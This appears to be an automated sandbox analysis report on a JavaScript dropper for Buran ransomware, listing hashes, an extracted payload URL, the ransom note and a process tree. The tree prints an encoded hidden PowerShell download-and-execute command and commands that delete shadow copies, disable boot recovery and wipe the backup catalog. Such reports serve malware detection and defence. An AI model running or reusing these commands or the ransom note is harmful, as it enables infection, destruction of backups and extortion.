Overview

overview

10

Static

static

3346.js

windows7_x64

10

3346.js

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    11-08-2021 13:25

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General

  • Target

    3346.js

  • Size

    530KB

  • MD5

    7e23a9a840725f3431ef5825c6ab6839

  • SHA1

    b9f307ac96ded5c42d931f7c4355756164ca0123

  • SHA256

    09eeec589e425f4da6dc1587e49f7f32c17f4c9e026b10c2360e5b3f72699ca7

  • SHA512

    51f027140d19f3b493d91a664d4c8bf2514b38c210f28178948a21d56fcde0ed99a068d7c0d04b9b3012ad03fc5be6e88d8e0f78aeb55bb919a2170a7e47da92

Score
10/10
buranpersistenceransomware

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://erzurum.us/65376345273497600381/tjTyjrjywrdmJoaaenvF/dll/assistant.php

Extracted

Path

C:\!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT

Family

buran

Ransom Note
!!! ALL YOUR FILES ARE ENCRYPTED !!! All your files, documents, photos, databases and other important files are encrypted. You are not able to decrypt it by yourself! The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. To be sure we have the decryptor and it works you can send an email: [email protected] and decrypt one file for free. But this file should be of not valuable! Do you really want to restore your files? Write to email: [email protected] Reserved email: [email protected] Reserved email: [email protected] Your personal ID: 12B-343-43A Attention! * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. * Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

Signatures

  • Buran

    Ransomware-as-a-service based on the VegaLocker family first identified in 2019.

    ransomwareburan
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 49 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\3346.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:568
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBlAHIAegB1AHIAdQBtAC4AdQBzAC8ANgA1ADMANwA2ADMANAA1ADIANwAzADQAOQA3ADYAMAAwADMAOAAxAC8AdABqAFQAeQBqAHIAagB5AHcAcgBkAG0ASgBvAGEAYQBlAG4AdgBGAC8AZABsAGwALwBhAHMAcwBpAHMAdABhAG4AdAAuAHAAaABwACIAKQA=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2960
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBlAHIAegB1AHIAdQBtAC4AdQBzAC8ANgA1ADMANwA2ADMANAA1ADIANwAzADQAOQA3ADYAMAAwADMAOAAxAC8AdABqAFQAeQBqAHIAagB5AHcAcgBkAG0ASgBvAGEAYQBlAG4AdgBGAC8AZABsAGwALwBhAHMAcwBpAHMAdABhAG4AdAAuAHAAaABwACIAKQA=
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2764
        • C:\Users\Admin\AppData\Local\Temp\jbqvTZJz.exe
          "C:\Users\Admin\AppData\Local\Temp\jbqvTZJz.exe"
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3924
          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\smss.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\smss.exe" -start
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Suspicious use of WriteProcessMemory
            PID:4040
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1824
              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                wmic shadowcopy delete
                7⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2976
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
              6⤵
                PID:3604
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
                6⤵
                  PID:1900
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet
                  6⤵
                    PID:3732
                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\smss.exe
                    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\smss.exe" -agent 0
                    6⤵
                    • Executes dropped EXE
                    • Drops file in Program Files directory
                    PID:1148
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\~temp001.bat
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2832
                    • C:\Windows\SysWOW64\Wbem\WMIC.exe
                      wmic shadowcopy delete
                      7⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2892
                    • C:\Windows\SysWOW64\vssadmin.exe
                      vssadmin delete shadows /all /quiet
                      7⤵
                      • Interacts with shadow copies
                      PID:3272
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3032
                    • C:\Windows\SysWOW64\vssadmin.exe
                      vssadmin delete shadows /all /quiet
                      7⤵
                      • Interacts with shadow copies
                      PID:3124
                • C:\Windows\SysWOW64\notepad.exe
                  notepad.exe
                  5⤵
                    PID:3588
          • C:\Windows\system32\vssvc.exe
            C:\Windows\system32\vssvc.exe
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2352

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • memory/1148-171-0x0000000000D00000-0x0000000000E44000-memory.dmp

            Filesize

            1.3MB

            Download

          • memory/2764-120-0x00000278B04A0000-0x00000278B04A1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/2764-132-0x00000278AEB20000-0x00000278AEB22000-memory.dmp

            Filesize

            8KB

            Download

          • memory/2764-133-0x00000278AEB23000-0x00000278AEB25000-memory.dmp

            Filesize

            8KB

            Download

          • memory/2764-126-0x00000278C94B0000-0x00000278C94B1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/2764-134-0x00000278AEB26000-0x00000278AEB28000-memory.dmp

            Filesize

            8KB

            Download

          • memory/3588-162-0x0000000000BC0000-0x0000000000BC1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/3924-147-0x0000000000BB0000-0x0000000000CF4000-memory.dmp

            Filesize

            1.3MB

            Download

          • memory/3924-148-0x0000000000400000-0x000000000054B000-memory.dmp

            Filesize

            1.3MB

            Download

          • memory/4040-161-0x0000000000E00000-0x0000000000F44000-memory.dmp

            Filesize

            1.3MB

            Download